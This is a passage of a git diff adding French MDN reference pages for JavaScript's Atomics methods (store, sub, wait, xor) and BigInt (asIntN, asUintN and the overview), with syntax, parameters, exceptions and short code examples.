+ <li>{{jsxref("Atomics.and()")}}</li>
+ <li>{{jsxref("Atomics.xor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html
new file mode 100644
index 0000000000..f5b85b974c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html
@@ -0,0 +1,90 @@
+---
+title: Atomics.store()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/store
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/store
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.store()</code></strong> enregistre une valeur donnée à un emplacement donné du tableau partagé et renvoie cette valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-store.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.store(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> à laquelle on souhaite stocker la valeur.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Le nombre à enregistrer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur qui a été enregistrée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(4);         // Buffer classique
+var float32 = new Float32Array(buffer);  // Nombre flottant
+var uint32 = new Uint32Array(buffer);    // Représentation IEEE754
+
+float32[0] = 0.5;
+console.log("0x" + uint32[0].toString(16));
+
+uint32[0] = 0x3f000000;   /// Représentation sur 32 bits de 0.5 (IEEE754)
+console.log(float32[0]);
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.store', 'Atomics.store')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.store")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.load()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html
new file mode 100644
index 0000000000..3c1dc879a0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html
@@ -0,0 +1,86 @@
+---
+title: Atomics.sub()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/sub
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> permet de soustraire une valeur donnée à une position donnée du tableau partagé. Elle renvoie l'ancienne valeur qui était contenue dans le tableau avant l'opération. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-sub.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.sub(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau typé <code>typedArray</code> à laquelle on veut soustraire <code>valeur</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La quantité qu'on souhaite soustraire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur qui était contenue à (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 48;
+
+Atomics.sub(ta, 0, 12); // renvoie 48, l'ancienne valeur
+Atomics.load(ta, 0);    // 36
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.sub', 'Atomics.sub')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.sub")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.add()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html
new file mode 100644
index 0000000000..430cafd19a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html
@@ -0,0 +1,96 @@
+---
+title: Atomics.wait()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/wait
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/wait
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.wait()</code></strong> permet de vérifier qu'un emplacement d'un tableau {{jsxref("Int32Array")}} contient toujours une valeur donnée et, si c'est le cas, l'agent dort en attendant un réveil ou un délai d'expiration. La méthode renvoie une chaîne qui vaut <code>"ok"</code>, <code>"not-equal"</code> ou <code>"timed-out"</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette opération ne fonctionne qu'avec un tableau typé partagé {{jsxref("Int32Array")}} et peut ne pas être autorisée sur le <em>thread</em> principal.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.wait(typedArray, index, valeur[, timeout])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé partagé de type {{jsxref("Int32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau typé <code>typedArray</code> sur laquelle on attend un changement.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur attendue qu'on souhaite tester.</dd>
+ <dt><code>timeout</code> {{optional_inline}}</dt>
+ <dd>Le temps à attendre pour le changement de valeur, exprimé en millisecondes. La valeur par défaut est {{jsxref("Infinity")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères ({{jsxref("String")}} qui vaut <code>"ok"</code>, <code>"not-equal"</code> ou <code>"timed-out"</code> selon le cas.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas un tableau typé partagé de type {{jsxref("Int32Array")}}.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit un tableau typé partagé <code>Int32Array</code>:</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var int32 = new Int32Array(sab);
+</pre>
+
+<p>Un <em>thread</em> de lecture est en sommeille et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le <em>thread</em> d'écriture a enregistré une nouvelle valeur, le <em>thread</em> de lecture sera notifié par le <em>thread</em> d'écriture et renverra la nouvelle valeur (123).</p>
+
+<pre class="brush: js">Atomics.wait(int32, 0, 0);
+console.log(int32[0]); // 123</pre>
+
+<p>Un <em>thread</em> d'écriture stocke une nouvelle valeur et notifie le <em>thread</em> de lecture une fois que la valeur a bien été écrite :</p>
+
+<pre class="brush: js">console.log(int32[0]); // 0;
+Atomics.store(int32, 0, 123);
+Atomics.wake(int32, 0, 1);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.wait', 'Atomics.wait')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.wait")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.notify()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html
new file mode 100644
index 0000000000..7aea0aef24
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html
@@ -0,0 +1,130 @@
+---
+title: Atomics.xor()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/xor
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/xor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.xor()</code></strong> calcule le résultat d'un OU exclusif (XOR) binaire entre une valeur donnée et une valeur du tableau partagé à un emplacement donné. Elle renvoie l'ancienne valeur qui était contenue à cette position. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-xor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.xor(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> à laquelle calculer le OU exclusif binaire.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur avec laquelle on souhaite calculer le OU exclusif binaire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur située à cet emplacement du tableau (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opération binaire OU exclusif (XOR) renvoie 1 si <code>a</code> et <code>b</code> sont différents. La table de vérité correspondante est :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th><code>a</code></th>
+   <th><code>b</code></th>
+   <th><code>a ^ b</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Par exemple, le calcul d'un OU exclusif binaire entre 5 et 1 (<code>5 ^ 1</code>) renvoie <code>0100</code>, qui correspond à 4 en notation décimale.</p>
+
+<pre>5  0101
+1  0001
+   ----
+4  0100
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 5;
+
+Atomics.xor(ta, 0, 1); // renvoie 5, l'ancienne valeur
+Atomics.load(ta, 0);   // 4</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.xor', 'Atomics.xor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.xor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.and()")}}</li>
+ <li>{{jsxref("Atomics.or()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html
new file mode 100644
index 0000000000..8e51d25642
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html
@@ -0,0 +1,76 @@
+---
+title: BigInt.asIntN()
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asIntN
+tags:
+  - BigInt
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode statique <strong><code>BigInt.asIntN()</code></strong> permet d'écréter un nombre <code>BigInt</code> pour obtenir un entier signé entre 2<sup>largeur-1</sup> et 2<sup>largeur-1</sup>-1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-asintn.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>resultat</var> = BigInt.asIntN(<var>largeur</var>, <var>bigint</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>largeur</code></dt>
+ <dd>La quantité de bits disponible pour stocker l'entier.</dd>
+ <dt><code>bigint</code></dt>
+ <dd>L'entier qu'on souhaite stocker sur le nombre de bits indiqués.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de <code>bigint</code> modulo 2<sup><code>largeur</code></sup> comme entier signé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La méthode <code>BigInt.asIntN()</code> peut être utile pour rester dans une arithmétique sur 64 bits :</p>
+
+<pre class="brush: js">const max = 2n ** (64n - 1n) - 1n;
+
+BigInt.asIntN(64, max);
+// ↪ 9223372036854775807n
+
+BigInt.asIntN(64, max + 1n);
+// ↪ -9223372036854775807n
+// négatif car dépassement sur le nombre de bits
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.asintn">BigInt proposal</a></td>
+   <td>Proposition de niveau 3.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.asIntN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asUintN()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html
new file mode 100644
index 0000000000..742792d5e6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html
@@ -0,0 +1,76 @@
+---
+title: BigInt.asUintN()
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asUintN
+tags:
+  - BigInt
+  - Experimental
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode statique <strong><code>BigInt.asUintN()</code></strong> permet d'écréter un <code>BigInt</code> pour ramener sa valeur sur un entier non-signé entre 0 et 2<sup>largeur</sup>-1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-asuintn.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>résultat</var> = BigInt.asUintN(<var>largeur</var>, <var>bigint</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>largeur</code></dt>
+ <dd>Le nombre de bits disponible pour stocker l'entier.</dd>
+ <dt><code>bigint</code></dt>
+ <dd>L'entier qu'on souhaite stocker sur le nombre de bits indiqués.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de <code>bigint</code> modulo 2<sup><code>largeur</code></sup> comme un entier non signé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La méthode <code>BigInt.asUintN()</code> peut s'avérer utile pour rester dans une arithmétique exprimée sur 64 bits .</p>
+
+<pre class="brush: js">const max = 2n ** 64n - 1n;
+
+BigInt.asUintN(64, max);
+// ↪ 18446744073709551615n
+
+BigInt.asUintN(64, max + 1n);
+// ↪ 0n
+// zéro en raison du dépassement</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.asuintn">Proposition pour BigInt</a></td>
+   <td>Proposition de niveau 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.asUintN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asIntN()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/index.html
new file mode 100644
index 0000000000..1310b8c442
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/bigint/index.html
@@ -0,0 +1,283 @@
+---
+title: BigInt
+slug: Web/JavaScript/Reference/Objets_globaux/BigInt
+tags:
+  - BigInt
+  - Experimental
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt</code></strong> est un objet natif qui permet de représenter des nombres entiers supérieurs à 2<sup>53</sup> (la plus grande valeur entière qui puisse être représentée par le type primitif {{jsxref("Number")}}). <code>BigInt</code> peut être utilisé afin de représenter de grands entiers de n'importe quelle taille.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> BigInt est actuellement une <strong>proposition de niveau 3</strong> pour la <a href="#Spécifications">spécification</a> ECMAScript.</p>
+
+<p>Lorsque cette proposition atteindra le niveau 4 (soit la spécification finale), BigInt sera le deuxième type natif disponible en JavaScript pour représenter des valeurs numériques.</p>
+
+<p><strong><code>BigInt</code></strong> sera ainsi le prochain type primitif ajouté à JavaScript depuis {{JSxRef("Symbol")}} avec ES2015</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">BigInt(valeur);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur numérique de l'objet qu'on souhaite créer. Cet argument peut être une chaîne de caractères ou un entier.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>BigInt()</code> n'est pas censé être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.</p>
+</div>
+
+<dl>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Un objet <code>BigInt</code> est créé en ajoutant un <code>n</code> à la fin d'un littéral d'entier — <code>10n</code> par exemple — ou en appelant la fonction <code>BigInt()</code>.</p>
+
+<pre class="brush: js">const plusGrandEntier = 9007199254740991n;
+
+const grandNombre = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const grandNombreEnChaîne = BigInt('9007199254740991');
+// ↪ 9007199254740991n
+
+const grandeNombreHexa = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const grandeNombreBinaire = BigInt("<code class="language-js"><span class="string token">0b11111111111111111111111111111111111111111111111111111</span></code>");
+// ↪ 9007199254740991n</pre>
+
+<p>Les objets <code>BigInt</code> sont semblables aux objets {{jsxref("Number")}} selon certains aspects mais avec quelques différences clés. Les objets <code>BigInt</code> ne peuvent pas êre utilisés avec l'objet {{jsxref("Math")}} et ne peuvent pas être manipulés avec des opérations qui impliquent des objets {{jsxref("Number")}}.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Il est nécessaire de convertir des valeurs {{jsxref("Number")}} ou <code>BigInt</code> dans les opérations qui les combinent.</p>
+
+<p>Attention lors de ces conversions car la précision d'une valeur <code>BigInt</code> peut être perdue lorsque ce dernier est converti en {{jsxref("Number")}}.</p>
+</div>
+
+<h3 id="Type">Type</h3>
+
+<p>Lorsqu'on utilise <code>typeof</code> sur une valeur <code>BigInt</code>, cet opérateur renverra <code>"bigint"</code> :</p>
+
+<pre class="brush: js">typeof 1n === "bigint"; // true
+typeof BigInt("1") === "bigint"; // true</pre>
+
+<p>Lorsqu'on « enveloppe » la valeur dans un objet, on aura alors un type <code>"object"</code> (comme pour les autres valeurs primitives lorsqu'on les enveloppe dans le constructeur objet) :</p>
+
+<pre class="brush: js">typeof Object(1n) === "object"; // true</pre>
+
+<h3 id="Opérateurs">Opérateurs</h3>
+
+<p>On peut utiliser les opérateurs suivants avec les objets <code>BigInt</code> : <code>+</code>, `<code>*</code>`, `<code>-</code>`, `<code>**</code>`, `<code>%</code>` , <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">les opérateurs binaires</a> (à l'exception de <code>&gt;&gt;&gt;</code> / décalage à droite avec des zéros) car les grands entiers sont signés. Le <code>+</code> unaire n'est pas non plus pris en charge (afin de <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">ne pas casser asm.js</a>).</p>
+
+<pre class="brush: js">const nombreSain = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991
+
+const maxPlusUn = nombreSain + 1n;
+// ↪ 9007199254740992n
+
+const leFutur = nombreSain + 2n;
+// ↪ 9007199254740993n, cela fonctionne désormais !
+
+const multi = nombreSain * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p>L'opérateur <code>/</code> fonctionne de façon analogue aux nombres classiques. Toutefois, les objets <code>BigInt</code> permettent uniquement de représenter des entiers et non des nombres décimaux. Aussi, la division ne produira pas de partie décimale pour les <code>BigInt</code>.</p>
+
+<pre class="brush: js">const attendu = 4n / 2n;
+// ↪ 2n
+
+const tronque = 5n / 2n;
+// ↪ 2n et pas 2.5n
+
+</pre>
+
+<h3 id="Comparaisons">Comparaisons</h3>
+
+<p>Un objet <code>BigInt</code> n'est pas strictement égal à {{jsxref( "Number")}} mais peut l'être au sens de l'égalité faible.</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true</pre>
+
+<p>On peut toutefois comparer des objets {{jsxref("Number")}} et <code>BigInt</code> :</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>On peut également mélanger ces valeurs au sein de tableaux :</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
